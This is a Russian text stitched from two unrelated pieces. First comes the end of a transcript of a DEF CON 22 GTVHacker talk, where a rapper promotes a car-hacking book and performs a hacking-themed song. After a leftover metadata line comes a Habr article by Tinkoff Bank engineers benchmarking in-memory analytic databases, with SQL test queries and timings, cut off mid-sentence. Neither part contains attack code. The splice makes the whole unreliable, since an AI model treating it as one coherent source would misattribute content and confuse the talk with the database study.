**Dual Core:** отлично, ребята, я пытаюсь отдышаться…меня зовут Нэд, я рэпер в Dual Core, возможно, вы слышали такие наши песни, как «Выпить всё и всё сломать». Кто-нибудь из вас взламывал автомобили? Отлично!
Я хочу представить вам книгу моего друга, это руководство хакера для взлома автомобилей, вы можете скачать его бесплатно, купить на «Амазон», у меня с собой есть несколько штук, которые я раздам. Итак, рэп-музыка…если я не отдышусь, то могу умереть!
Итак, где мой DJ? Нажмите клавишу «пробел» и запустите видео, чтобы я мог начать!
На экране начинается демонстрация взлома устройств, о которых было рассказано в этой презентации. Звучит фраза «не каждый выродок с Commodore 64 способен взломать NASA», затем включается музыкальный трек, под который Нэд исполняет рэп “Drink all the booze” примерно такого содержания:
Я говорю вам выпить всю выпивку,
ребята так быстро взломали все вещи,
что вы даже не успели их сосчитать,
аварийное восстановление требует еще больше кулаков,
положите ваши байты на всё это,
мой C64 взорвёт всё на орбите,
идеальный бум порвёт все цепи,
оптимизируй время выполнения процесса,
чтобы избежать приговора, нужен просто поток,
нужно просто поток,
размер движка не имеет значения,
в командной строке заложены мины,
и прежде чем они увидят меня,
сломайте капчу, закончите главу,
выпейте всю выпивку,
возьмите этот байк, который красный,
он всё ещё подмигивает мне,
выпить все бухло, выпить все спиртное
я жду, пока умрёт мой Blackberry
чтобы заменить его Raspberry Pi,
нейтрализуй для Красного Черепа любую угрозу,
убитые вирусописатели поднялись на VX7,
который регистрирует наши данные в прямом эфире,
привет вам, шифры и драйверы устройств,
куда мы попадём, пока они не запустили формат,
интернет Майк хочет получить ваш Wi-Fi,
он взялся взломать Pineapple 5,
вы готовы взломать все вещи?
да, вы готовы взломать все вещи!
вот так, сэр, мы пьем всю выпивку,
мы выпьем всё,
вы знаете, что там будут правила безопасности,
но сначала выпьем всю выпивку, а потом их взломаем,
все дело в системе или прошивке,
на что вы молитесь независимо от сервиса,
перекодируй и подключи к Интернету,
собрав собственноручно, его испортят пираты
хлопает в ладоши атака над облаком,
но мы вернемся в подземку,
где нет контроля массы,
вниз по узлам Тор по всему миру,
хакаем по трафику устройства онлайн,
вызов государства – охота на нас,
мой Конрад Цузе – триггер –отладчик,
мне нужен план, который работает,
я хочу увидеть, как всё горит,
и теперь твоя очередь,
выпей всю выпивку, да,
выпей всю выпивку, этот бой – игра,
этот ужас до сих пор подмигивает мне,
так что съешь всю еду и выпей всю выпивку!
Я благодарю ребят из GTVHacker!
**Амир Этемади:** мне трудно поверить, что у нас в гостях побывал Dual Core! Он сделал это без всяких условий, без всякой оплаты, он просто великий парень! Да, я тоже запыхался. У нас совершенно нет времени, поэтому если у вас есть вопросы, мы готовы ответить на них после конференции.
Мы приводим здесь ссылки на наши ресурсы, добро пожаловать на канал GTV Hacker и спасибо всем, мы вас любим!
Слайды презентации: [DC22.GTVHacker.com](http://DC22.GTVHacker.com/)
WIKI: [www.GTVHacker.com](http://www.GTVHacker.com)
Форум: [forum.GTVHacker.com](http://forum.GTVHacker.com)
Блог: [blog.GTVHacker.com](http://blog.GTVHacker.com)
IRC: irc.freenode.net #GTVHacker
Twitter: @GTVHacker | https://habr.com/ru/post/424915/ | null | ru | null |
# Сравнение аналитических in-memory баз данных
 В последние два месяца лета в управлении хранилищ данных (Data Warehouse, DWH) Тинькофф Банка появилась новая тема для кухонных споров.
Всё это время мы проводили масштабное тестирование нескольких in-memory СУБД. Любой разговор с администраторами DWH в это время можно было начать с фразы «Ну как, кто лидирует?», и не прогадать. В ответ люди получали длинную и очень эмоциональную тираду о сложностях тестирования, премудростях общения с доселе неизвестными вендорами и недостатках отдельных испытуемых.
Подробности, результаты и некое подобие выводов из тестирования — под катом.
Цель тестирования — присмотреть себе быструю аналитическую in-memory базу данных, отвечающую нашим требованиям, и оценить сложность её интеграции с остальными системами хранилища данных.
Также мы включили в тестирование две СУБД, не позиционирующиеся как in-memory решение. Мы рассчитывали на то, что имеющиеся в них механизмы кэширования, при условии примерного соответствия объёма данных объёму оперативной памяти серверов, позволят этим СУБД приблизиться в производительности к классическим in-memory решениям.
#### Описание кейса использования
Предполагается, что выбранная в результате тестирования СУБД будет работать в качестве front-end БД хранилища для выборочного набора данных (2-4 Тб, однако объём данных может расти со временем): принимать на себя запросы от BI-системы (SAP BusinessObjects) и часть ad-hoc запросов некоторых пользователей. Запросы, в 90% случаев, это SELECT'ы c от 1 до 10 join-ами по условиям равенства и, иногда, условиям вхождения дат в интервал.
Нам нужно, чтобы такие запросы работали значительно быстрее, чем они работают сейчас в основной БД хранилища — Greenplum.
Также важно, чтобы количество одновременно выполняемых запросов не сильно влияло на время выполнения каждого запроса — оно должно быть примерно постоянным.
На наш взгляд, целевая БД должна обладать следующей функциональностью:
* горизонтальная масштабируемость;
* возможность выполнять локальные join-ы — использовать «правильный» ключ распределения в таблицах
* поколоночное хранение данных;
* умение работать с кэшем и большим объёмом доступной памяти.
Загрузка данных в целевую систему предполагается из основной БД хранилища — Greenplum, а потому для нас также важно наличие способа быстро и надёжно доставить данные (желательно, инкрементально) из Greenplum в целевую БД.
Также важна возможность интеграции с SAP BO. К счастью, с этой системой хорошо работает почти всё, что имеет стабильный ODBC-драйвер для Windows.
Из мелких, но весомых требований можно выделить оконные функции, резервирование (способность хранить несколько копий данных на разных нодах), простота дальнейшего расширения кластера, параллельная загрузка данных.
#### Стенд для тестирования
На каждую БД было выделено два физических сервера:
* 16 физических ядер (32 с HT)
* 128 Гб ОП
* 3.9 Тб дискового пространтства (RAID 5 из 8 дисков)
* Сервера связаны 10 Гбит-ой сетью.
* ОС для каждой БД была выбрана исходя из рекомендаций по установке этой самой БД. То же касается настроек ОС, ядра и прочего.
#### Критерии тестирования
* Скорость выполнения тестовых запросов
* Возможность интеграции с SAP BO
* Наличие быстрого и подходящего способа импорта данных
* Наличие стабильного ODBC-драйвера
* В случае, если продукт не распространяется свободно, удалось в адекватное время связаться с представителями компании производителя и получить инсталляцию (дистрибутив) БД, необходимую для тестирования
#### БД, вошедшие в тестирование
[Greenplum](https://pivotal.io/big-data/pivotal-greenplum)
Старый, добрый, хорошо знакомый нам Greenplum. Про него у нас есть отдельная [статья](https://habrahabr.ru/company/tcsbank/blog/267733/).
Строго говоря, Greenplum не является in-memory БД, однако экспериментально доказано, что за счёт свойств XFS, на которой он хранит данные, при определённых условиях он ведёт себя как таковая.
Так, например, при чтении, если количество памяти достаточно, а также если данные, запрашиваемые запросом, уже лежат в памяти (закэшированы), диски для получения данных затронуты не будут вообще — все данные Greenplum возьмёт из памяти. Надо понимать, что такой режим работы не свойственен для Greenplum, а потому специализированные in-memory DB должны (в теории) справляться с такой задачей лучше.
Для тестирования Greenplum был установлен по умолчанию, без зеркал (только primary-сегменты). Все настройки дефолтные, таблицы сжаты zlib.
[Yandex Clickhouse](https://clickhouse.yandex/)
Колоночная СУБД для аналитики и отчётов в реальном времени от известного поискового гиганта.
СУБД установлена с учётом [рекомендаций производителя](https://github.com/yandex/ClickHouse/blob/master/doc/administration/tips.txt), движок для локальных таблиц — MergeTree, поверх локальных таблиц были созданы Distributed-таблицы, которые и участвовали в запросах.
[SAP HANA](http://go.sap.com/product/technology-platform/hana.html)
HANA (High performance ANalytics Appliance) позиционируется как универсальный инструмент для аналитической и транзакционной нагрузки. Умеет хранить данные поколоночно. Имеются нужные для продуктовой базы Disaster recovery, зеркалирование и репликация. HANA позволяет гибко настроить партиции (шарды) для таблиц: как по hash, так и по интервалу значений.
В наличии многоуровневое партиционирование, на разных уровнях можно применять различные типы партиций. В одну партицию можно записать до 2 миллиардов записей.
*Архитектура решения на базе SAP HANA*
Одна из интересных возможностей этой СУБД — потабличная настройка «unload priority» — приоритета выгрузки из памяти, от 1 до 10. Она позволяет гибко управлять ресурсами памяти и скоростью доступа к таблицам: если таблица используется редко, то ей устанавливается наименьший приоритет. В таком случае таблица будет редко загружаться в память и будет одной из первых выгружаться при нехватке ресурсов.
[Exasol](http://www.exasol.com/en/)
Продукт в России практически неизвестный, тёмная лошадка. Из крупных компаний с этой СУБД работают только Badoo (о чём на Хабре есть [статья](https://habrahabr.ru/company/badoo/blog/271753/)) и ещё пара не-IT компаний, чьё имя на слуху — полный список есть на официальном сайте.
Вендор обещает феерически быструю аналитику, стабильность камня в лесу и простоту администрирования на уровне кофемолки.
Работает Exasol на своей ОС — ExaOS (свой дистрибутив GNU/Linux на основе CentOS/RHEL). Установка СУБД как минимум необычна, так как это не установка отдельного куска ПО на готовую ОС, а установка ОС на отдельную лицензионную машину (в нашем случае виртуальную) из скачанного образа и минимальная настройка (разбиение дисков, сетевые интерфейсы, разрешить загрузку по PxE) рабочих нод.
*Упрощённая архитектура Exasol*
Красота этой системы в том, что, так как на ноды ничего устанавливать не надо (ОС, параметры ядра и прочие радости), добавление новой ноды в кластер происходит очень быстро. С того момента, как сервер установлен и скоммутирован (bare-metal, без ОС), можно ввести ноду в кластер менее чем за полчаса. Все управление базой осуществляется через веб-консоль. Лишним функционалом она не перегружена, но и урезанной ее назвать нельзя.
Данные хранятся в памяти поколоночно и неплохо сжимаются (настроек сжатия при этом обнаружить не удалось).
Если при обработке запроса надо данных больше чем есть ОЗУ, база начнет использовать своп (спилл) на диски. Запрос не упадет (привет Hana и memSQL), просто будет работать медленней.
Exasol автоматически создает и удаляет индексы. Если вы делаете запрос впервые и СУБД решает, что с индексом запрос будет работать быстрее, то индекс будет создан в процессе отработки запроса. А если этот индекс 30 дней никому не был нужен, то база сама его удалит.
~~Вот какая умная лошадка.~~
[Memsql](http://www.memsql.com/)
In-memory СУБД на основе mySQL. Кластерная, присутствуют аналитические функции. По умолчанию хранит данные построчно.
Чтобы сделать поколоночное хранение, нужно при создании таблицы добавить специальный индекс:
```
KEY `keyname` (`fieldaname`) USING CLUSTERED COLUMNSTORE
```
При этом rowstore-данные хранятся в памяти всегда, а вот columnstore-данные, в случае нехватки памяти, могут быть автоматически сброшены на диск.
Ключ дистрибуции называется SHARD KEY. Автоматически для каждого поля в shard key создается btree индекс.
Базовая версия — полностью бесплатная, без ограничений по объему данных и оперативной памяти. В платной версии есть high availability, онлайн бэкапы и ресторы, репликация между дата-центрами и управление правами пользователей.
*Упрощённая архитектура Memsql*
[Impala](http://impala.apache.org/)
Продукт Cloudera, SQL движок, разработанный на С++, входит в экосистему Apache Hadoop. Работает с данными, хранящимися в HDFS и HBase. В качестве хранилища метаданных использует HiveMetastore, входящий в состав СУБД Hive. В отличие от Hive, не использует MapReduce. Поддерживает кеширование часто используемых блоков данных.
Позиционируется как СУБД для обработки аналитических запросов, требующих быстрого ответа. Умеет работать с основными BI-инструментами. Полная поддержка ANSI SQL, присутствуют оконные функции.
Impala доступна в виде пакета и парцела в репозитории Cloudera. При проведении тестирования использовался дистрибутив Cloudera CDH 5.8.0. Для установки был выбран минимальный набор сервисов для работы Impala: Zookeeper, HDFS, Yarn, Hive. Большая часть настроек использовалась по умолчанию. Для Impala было выделено суммарно 160 Гб памяти с обоих серверов. Для контроля утилизации ресурсов серверов контейнерами использовались cgroups.
Были выполнены все оптимизации, рекомендованные в [статье](http://www.cloudera.com/documentation/enterprise/latest/topics/impala_performance.html), а именно:
— в качестве формата хранения таблиц в HDFS был выбран Parquet;
— оптимизированы типы данных, где это можно было сделать;
— предварительно выполнялся сбор статистики для каждой таблицы (compute stats);
— данные всех таблиц были записаны в кэш HDFS (alter table … set cached in …);
— оптимизированы join’ы (насколько это было возможно).
На первоначальном этапе планирования тестирования и определения СУБД для участия Impala была отброшена, поскольку мы уже работали с ней несколько лет назад и на тот момент она не выглядела production-ready. Ещё раз посмотреть в сторону «Антилопы» нас убедили коллеги по отрасли, убеждая, что за прошедшее время она очень похорошела и научилась грамотно работать с памятью.
**Ещё немного информации об Impala**Состав:
Impala Daemon – основной сервис, который служит для принятия, обработки, координирования, распределения по кластеру и выполнения запроса. Поддерживает интерфейсы ODBC и JDBC. Также имеет CLI-интерфейс и интерфейс для работы с Hue (Web UI для анализа данных в Hadoop). Выполняется в качестве демона на каждом из воркеров кластера.
Impala Statestore – используется для проверки состояния инстансов Impala Daemon, работающих в кластере. Если на каком-либо воркере выходит из строя Impala Daemon, то Statestore уведомляет об этом инстансы на остальных воркерах, чтобы запросы к ушедшему в offline инстансу не передавались. Как правило, работает на мастер-ноде кластера, не является обязательным.
Impala Catalog Server – этот сервис служит для получения и агрегации метаданных из HiveMetastore, HDFS Namenode, HBase в виде структуры, поддерживаемой Impala Daemon. Также этот сервис используется для хранения метаданных, используемых исключительно самой Impala, таких, например, как пользовательские функции. Как правило, работает на мастер-ноде кластера.
[Некоторые важные для нас характеристики всех БД, собранные в одну таблицу на Google Docs](https://docs.google.com/spreadsheets/d/139W_3Jcr27E3n_wSko1KcVawpxDXcKE3Z8vUzbTJPsQ/edit?usp=sharing)
**Для смелых - эта же таблица в формате Хабра (острожно, редизайн хабра сделал мало-мальски широкие таблицы нечитаемыми)**
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| | **Greenplum** | **Exasol** | **Clickhouse** | **Memsql** | **SAP Hana** | **Impala** |
| **Вендор** | EMC | Exasol | Yandex | Memsql | SAP | Apache / Cloudera |
| **Используемая в****ерсия** | 4.3.8.1 | 5.0.15 | 1.1.53988 | 5.1.0 | 1.00.121.00.1466466057 | 2.6.0 |
| **Мастер-ноды** | Мастер-сегмент. Резервируется. | Точка входа — любая нода. Есть license-нода, резервируется. | Точка входа — любая нода | Точка входа — любая нода | Есть мастер-нода. Резервируется. | Точка входа — любая нода. Однако, нужен Hive metastore server. |
| **Используемая****ОС** | RHEL 6.7 | EXA OS (проприетарная) | Ubuntu 14.04.4 | RHEL 6.7 | RHEL 6.7 | RHEL 6.7 |
| **Возможное железо** | Любое | Любое с поддержкой PXE Boot | Любое | Любое | Только из списка SAP | Любое |
| **Импорт из Greenplum** | External http tablesPipes | External http tablesJDBC import | External http tables | CSV с локального сервераSPARK | CSV с локального сервера | External GPHDFS tables |
| **Интеграция с SAP BO****(источник для юниверсов)** | Да, ODBC | Да, ODBC | Нет данных | Нет данных | Да | Да, ODBCSIMBA |
| **Интеграция с SAS** | Да, SAS ACCESS | Да, ODBC | Нет данных | Нет данных | Нет данных | Да, SAS ACCESS |
| **Оконные функции** | Есть | Есть | Нет | Есть | Есть | Есть |
| **Дистрибуция по нодам** | По полю/полям | По полю/полям | По полю/полям | По полю/полям | По полю/полямШарды раскидываютсяпо нодам вручную | Рандомно |
| **Колоночное хранение** | Есть | Есть | Есть | Есть на дискеНет в пямяти | Есть | Есть (Parquet) |
| **При нехватке памяти** **при выполнении запроса** | Данные спилятся на диск | Данные спилятся на диск | Запрос падает | Запрос падает | Запрос падает | Данные спилятся на диск |
| **Отказоустойчивость** | Есть, механизм зеркал | Есть, механизм зеркал | Есть, на уровне таблиц | Есть | Есть | Есть, силами HDFS |
| **Способ распространения** | Open source, APACHE-2 | Закрытый код, платная | Open source, APACHE-2 | Закрытый код, бесплатная | Закрытый код, платная | Open source, APACHE-2 |
#### Результаты тестирования
**Описание и текст тестовых запросов, используемых в тестировании**
Для тестирования были подобраны запросы с d\_financial\_account\_not\_additive. d\_financial\_account\_not\_additive — это представление (view) с данными по каждому счету на каждый день. View сделано на основе трех таблиц с целью оптимизации места на диске, и, соответственно, чтения с диска. Для тестирования была выбрана часть данных по первому миллиону счетов с начала 2015 года. Это чуть больше 522 миллионов строк. К not\_additive мы присоединяем данные по счетам (financial\_account) и по заявкам (financial\_account\_application и application\_calling\_channel). В Greenplum (для примера) для таблиц заданы ключи распределения по сегментам: для счетов это account\_rk, для заявок – financial\_application\_rk. В запросах join-ы между основными таблицами происходят по равенству, поэтому мы можем ожидать hash join, без nested loop, когда нужно сравнить построчно большое количество строк из разных таблиц.
Общий объём данных составил около 200 Гб в несжатом виде (рассчитываем, что весь этот объём с небольшим запасом влезает в память).
Число строк в используемых таблицах:
| | |
| --- | --- |
| **Таблица** | **Число строк** |
| d\_financial\_account\_date | 522726636 |
| d\_financial\_account\_data\_bal | 229255701 |
| financial\_account\_application | 52118559 |
| application\_calling\_channel | 28158924 |
| d\_financial\_account\_data\_scd | 3494716 |
| financial\_account | 2930425 |
| currency\_rates | 3948 |
| dds\_calendar\_date | 731 |
| loyalty\_program\_types | 35 |
| financial\_institution | 5 |
**Запрос N1**
```
SELECT
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt) as yymm,
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
case when d_financial_account_not_additive.ofn_balance_amt <0 then 1 else 0 end,
loyalty_program_by_day.loyalty_program_type_nm,
financial_account.currency_cd,
sum(d_financial_account_not_additive.balance_amt*Table__14.rate),
sum(d_financial_account_not_additive.balance_amt)
FROM
prod_emart.loyalty_program_types loyalty_program_by_day RIGHT OUTER JOIN prod_emart.d_financial_account_not_additive d_financial_account_not_additive ON (d_financial_account_not_additive.loyalty_program_type_rk=loyalty_program_by_day.loyalty_program_type_rk
AND loyalty_program_by_day.valid_to_dttm > now())
INNER JOIN prod_emart.financial_account financial_account ON (financial_account.account_rk=d_financial_account_not_additive.account_rk)
INNER JOIN (
SELECT
r.currency_from_cd,
r.currency_to_cd,
r.rate,
r.rate_dt
FROM
prod_emart.currency_rates r
WHERE
( r.currency_to_cd='RUR' )
union all
SELECT
'RUB',
'RUR',
1,
d.calendar_dt
FROM
prod_emart.dds_calendar_date d
) Table__14 ON (Table__14.currency_from_cd=financial_account.currency_cd)
WHERE
( Table__14.rate_dt=d_financial_account_not_additive.business_dt
)
AND
(
d_financial_account_not_additive.business_dt >= to_date(( 2016 - 2)::character varying ||'-01-01', 'YYYY-MM-DD')
AND
d_financial_account_not_additive.business_dt <= (current_date-1)
AND
financial_account.financial_account_subtype_cd IN ( 'DEP','SAV','SVN','LEG','CUR' )
)
GROUP BY
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt),
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
case when d_financial_account_not_additive.ofn_balance_amt <0 then 1 else 0 end,
loyalty_program_by_day.loyalty_program_type_nm,
financial_account.currency_cd
```
**Запрос N2**
```
select count(*) from (SELECT
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt) as yymm,
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
loyalty_program_by_day.loyalty_program_type_nm,
application_calling_channel.appl_channel,
case when ( financial_account_application.application_product_type )='010222' then 'Y' else 'N' end ,
case when ( financial_account_application.application_product_type )='020202' then 'Y' else 'N' end,
case when financial_account.parent_account_rk is null then 'N' else 'Y' end,
prod_emart.financial_institution.financial_institution_nm,
sum(d_financial_account_not_additive.principal_balance_amt),
sum(d_financial_account_not_additive.interest_balance_amt),
sum(d_financial_account_not_additive.f2g_balance_amt),
sum(d_financial_account_not_additive.f2n_balance_amt),
sum(d_financial_account_not_additive.overdue_fee_balance_amt),
sum(d_financial_account_not_additive.pastdue_gvt_balance_amt),
sum(d_financial_account_not_additive.annual_fee_balance_amt),
sum(d_financial_account_not_additive.sim_kke_balance_amt)
FROM
prod_emart.loyalty_program_types loyalty_program_by_day RIGHT OUTER JOIN prod_emart.d_financial_account_not_additive d_financial_account_not_additive ON (d_financial_account_not_additive.loyalty_program_type_rk=loyalty_program_by_day.loyalty_program_type_rk
AND loyalty_program_by_day.valid_to_dttm > now())
INNER JOIN prod_emart.financial_account financial_account ON (financial_account.account_rk=d_financial_account_not_additive.account_rk)
LEFT OUTER JOIN prod_emart.financial_account_application ON financial_account.financial_application_rk=financial_account_application.financial_application_rk
LEFT OUTER JOIN prod_emart.application_calling_channel on financial_account.financial_application_rk=application_calling_channel.financial_application_rk
LEFT OUTER JOIN prod_emart.financial_account parent_account ON (financial_account.parent_account_rk=parent_account.account_rk)
LEFT OUTER JOIN prod_emart.financial_institution ON (financial_account.financial_institution=financial_institution.financial_institution)
WHERE
(
d_financial_account_not_additive.business_dt >= to_date('2014-01-01', 'YYYY-MM-DD')
AND
d_financial_account_not_additive.business_dt <= (current_date-1)
AND
(
financial_account.financial_account_subtype_cd IN ( 'CCR','INS','CLN','VKR','EIC' )
OR
(
financial_account.financial_account_subtype_cd IN ( 'PHX' )
AND
(
parent_account.financial_account_subtype_cd Is Null
OR
parent_account.financial_account_subtype_cd NOT IN ( 'IFS' )
)
)
)
)
GROUP BY
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt),
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
loyalty_program_by_day.loyalty_program_type_nm,
application_calling_channel.appl_channel,
case when ( financial_account_application.application_product_type )='010222' then 'Y' else 'N' end ,
case when ( financial_account_application.application_product_type )='020202' then 'Y' else 'N' end,
case when financial_account.parent_account_rk is null then 'N' else 'Y' end,
financial_institution.financial_institution_nm) sq
```
**Запрос N3**
```
SELECT
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt) as yymm,
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
case when ( prod_emart.financial_account_application.application_product_type )='010222' then 'Y' else 'N' end ,
d_financial_account_not_additive.risk_status_cd,
case when financial_account.utilization_dt<=d_financial_account_not_additive.business_dt then 1 else 0 end,
case when ( d_financial_account_not_additive.current_limit_amt) > 0 then 1 else 0 end,
prod_emart.financial_institution.financial_institution_nm,
--sum(d_financial_account_not_additive.credit_balance_amt),
sum(d_financial_account_not_additive.principal_balance_amt),
sum(d_financial_account_not_additive.current_limit_amt),
count(d_financial_account_not_additive.account_rk),
sum(case when d_financial_account_not_additive.current_limit_amt > 0 then d_financial_account_not_additive.principal_balance_amt / d_financial_account_not_additive.current_limit_amt end)
FROM
prod_emart.d_financial_account_not_additive
INNER JOIN prod_emart.financial_account financial_account ON (financial_account.account_rk=d_financial_account_not_additive.account_rk)
LEFT OUTER JOIN prod_emart.financial_account_application on financial_account.financial_application_rk=prod_emart.financial_account_application.financial_application_rk
LEFT OUTER JOIN prod_emart.financial_institution ON (financial_account.financial_institution=prod_emart.financial_institution.financial_institution)
WHERE
(
d_financial_account_not_additive.business_dt >= to_date(( 2016 - 2)::character varying ||'-01-01', 'YYYY-MM-DD')
AND
d_financial_account_not_additive.business_dt <= (current_date-1)
AND
financial_account.financial_account_subtype_cd IN ( 'CCR','CLN','VKR','INS','EIC' )
AND
case when financial_account.close_dt<=d_financial_account_not_additive.business_dt then 1 else 0 end
IN ( 0 )
)
GROUP BY
date_trunc('year', d_financial_account_not_additive.business_dt) || '-' || date_trunc('month',d_financial_account_not_additive.business_dt),
d_financial_account_not_additive.business_dt,
financial_account.financial_account_subtype_cd,
case when ( prod_emart.financial_account_application.application_product_type )='010222' then 'Y' else 'N' end ,
d_financial_account_not_additive.risk_status_cd,
case when financial_account.utilization_dt<=d_financial_account_not_additive.business_dt then 1 else 0 end,
case when ( d_financial_account_not_additive.current_limit_amt) > 0 then 1 else 0 end,
prod_emart.financial_institution.financial_institution_nm
```
**Запрос T1**
```
SELECT count(*)
FROM
(
SELECT *
FROM prod_emart.d_financial_account_data_bal
) ALL INNER JOIN
(
SELECT *
FROM prod_emart.d_financial_account_date
) USING account_rk, valid_from_dt
```
**Запрос T2**
```
SELECT
count(*)
FROM prod_emart.d_financial_account_data_bal a JOIN prod_emart.d_financial_account_date b
ON a.account_rk = b.account_rk AND a.valid_from_dt = b.valid_from_dt
LEFT JOIN prod_emart.d_financial_account_data_scd sc
ON a.account_rk = sc.account_rk AND b.scd_valid_from_dt = sc.scd_valid_from_dt;
```
**D1 (Декартово произведение одной колонки)**
```
-- В таблице - 291 157 926 408 строк
select count(*)
from
(SELECT * FROM WRK.D_FINANCIAL_ACCOUNT_DATE) t1 INNER JOIN (SELECT * FROM WRK.D_FINANCIAL_ACCOUNT_DATE) t2
on t1.account_rk = t2.account_rk;
```
**D2 (Декартово произведение нескольких колонок)**
```
select count(*)
,sum(t1.last_day_of_month_flg - t2.last_day_of_month_flg) as sum_flg
,sum(t1.business_dt - t2.valid_from_dt) as b1v2
,sum(t1.valid_from_dt - coalesce(t2.scd_valid_from_dt,current_date)) as v1s2
,sum(coalesce(t1.scd_valid_from_dt,current_date) - t1.business_dt) as s1b2
from
prod_emart.D_FINANCIAL_ACCOUNT_DATE t1 INNER JOIN prod_emart.D_FINANCIAL_ACCOUNT_DATE t2
on t1.account_rk = t2.account_rk;
```
Результаты указаны в секундах выполнения запроса.
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| **Запрос** | **Greenplum** | **Exasol** | **Clickhouse** | **Memsql** | **SAP Hana** | **Impala** |
| **N1** | 14 | < 1 | - | 108 | 6 | 78 |
| **N2** | 131 | 11 | - | - | 127 | Error |
| **N3** | 67 | 85 | - | - | 122 | 733 |
| **T1** | 14 | 1.8 | 64 | 70 | 20 | 100 |
| **T2** | 17 | 4.2 | 86 | 105 | 20 | 127 |
| **D1** | 1393 | 284 | - | 45 | 1500 | - |
| **D2** | > 7200 | 1200 | - | > 7200 | Error | - |
#### Выявленные нюансы в работе БД
##### Yandex Clickhouse
В процессе тестирования выяснилось, что эта БД для наших задач не подходит — джойны в ней представлены только номинально. Так, например:
* поддерживается только JOIN с подзапросом в качестве правой части;
* условия в join-е не пробрасываются внутрь подзапроса;
* распределённые join-ы выполняются неэффективно.
Оказалось практически невозможным переписать «тяжёлые» запросы (N1-N3) на синтаксис Clickhouse. Также печалит ограничение по памяти — результат любого из подзапросов в любом запросе должен вмещаться в память на одном (!) сервере из кластера.
Несмотря на то, что для BI-задач эта БД оказалась непригодна, по результатам тестирования она нашла применение в хранилище в другом проекте.
Отдельно хочется отметить очень подробную и удобную документацию, доступную на официальном сайте (к сожалению, пока она покрывает не все аспекты использования БД), а также поблагодарить разработчиков Yandex за оперативные ответы на наши вопросы при проведении тестирования.
##### SAP HANA
Основную часть по настройке серверов и оптимизации запросов произвели коллеги из одной консалтинговых компаний, являющихся представителями SAP в России. Без них посмотреть на базу и оценить ее преимущества мы бы не смогли: как показала практика, для работы с HANA требуется наличие опыта.
Очень интересно показала себя HANA при подсчете количества строк join-а таблицы самой на себя:
*EXPLAIN запроса с join-ом таблицы самой с собой в HANA*
Оптимизатор вычисляет результат с помощью статистики даже не выполняя join. Неплохой трюк, но если в where дописать условие, которое всегда True, например «1 = 1», то трюк не сработает и мы получим 25 минут, почти столько же сколько и у Greenplum.
На текущий момент HANA при выполнении запроса не умеет размещать промежуточные результаты запросов на диске. Поэтому если памяти не хватает, сессия обрывается, и пользователь остается без результатов.
Как выяснилось в процессе тестирования, даже при условии, что данные двух таблиц, участвующих в join-е, распределены по нодам кластера правильно, join по факту выполняется только на одной ноде кластера. Перед выполнением запроса данные со всего кластера просто переливаются на одну ноду и уже там происходит обсчет join-а. За отведенное под тестирование время победить такую логику и заставить join выполняться локально не смогли.
Кстати, производитель рекомендует по возможности использовать однонодовую конфигурацию БД, что и подтверждают результаты нашего тестирования – заставить конфигурацию из двух машин оптимально работать в разы сложнее, чем из одной.
##### Exasol
Главное впечатление от работы с базой — работает очень быстро и удивительно стабильно, прямо вот так, из коробки. Практически во всех наших тестах видно преимущество в скорости по сравнению с другими СУБД. Однако, в отличие от многих других СУБД, это черный ящик — у вас нет возможности даже подключиться к ноде по ssh и запустить iotop, htop и так далее.
Отсутствие контроля своих же серверов, безусловно, заставляет напрячься. Хотя справедливости ради надо отметить, что все нужные данные по работе базы и нагрузке на железо есть в системных view внутри базы.
Имеются JDBC,ODBC драйверы, отличная поддержка ANSI SQL и некоторых специфических особенностей Oracle (select 1 from dual, как пример). Еще в БД уже встроены JDBC-драйверы для подключения к внешним базам (Oracle, PostgreSQL,MySQL и другим), что очень удобно для загрузки данных.
EXASOL позволяет посмотреть план только выполненных запросов. Это связано с тем, что план создается на ходу во время выполнения за счет анализа промежуточных результатов. Отсутствие классического explain работе не мешает, но с ним привычнее.
Быстрая, удобная, стабильная, не требует долгого тюнинга — поставил и забыл. В общем, какая-то вся правильная. Но черный ящик, что настораживает.
Отдельно хочется отметить адекватность поддержки, которая оперативно отвечала на абсолютно все наши возникшие вопросы.
##### Memsql
Ставится просто и быстро. Админка красивая, но не сильно толковая. Примеры: можно добавлять ноды в кластер, но удалять из админки нельзя/сложно/неочевидно; можно видеть текущие и завершенные запросы, но никаких подробностей о них увидеть нельзя.
*В админке memsql можно твиттить число записей в секунду*
При работе MemSQL очень любит нагрузить процессоры, ошибок с переполнением памяти почти не было.
MemSQL перед тем, как соединить две таблицы, делает repartitioning (перераспределение данных по нодам) по ключу join-а.
В нашем случае мы можем таблицу data\_bal и date хранить со сложным shard key (account\_rk, valid\_from\_dt), для scd-таблицы ключ шардирования будет (account\_rk, scd\_valid\_from\_dt). Соединением между data\_bal и date в таком случае будет происходить быстро, далее при выполнении запроса данные будут перераспределены по account\_rk и scd\_valid\_from\_dt, и на следующем шаге уже по account\_rk для соединения с таблицей financial\_account. Как уверяет поддержка, repartitioning – это очень затратная по времени операция.
Таким образом, наши запросы оказались тяжеловатыми для базы из-за большого количества разноплановых join-ов. В Greenplum join-ы между перечисленными таблицами происходят локально, и, соответственно, быстрее, без перераспределения по узлам, так называемого Redistribute Motion.
В целом, MemSQL видится отличной СУБД для миграции с MySQL и не самой сложной аналитики.
##### Impala
Установка кластера Cloudera, в состав которого и входит Impala, достаточно проста и хорошо задокументирована.
Однако, стоить отметить, что скоростью работы Impala относительно других БД не отличилась — к примеру, запрос, который подсчитывал count(\*) в d\_financial\_account\_not\_additive, работал в Impala 3,5 минуты, что значительно больше, чем у соперников, у которых результаты — это десятки секунд и меньше.
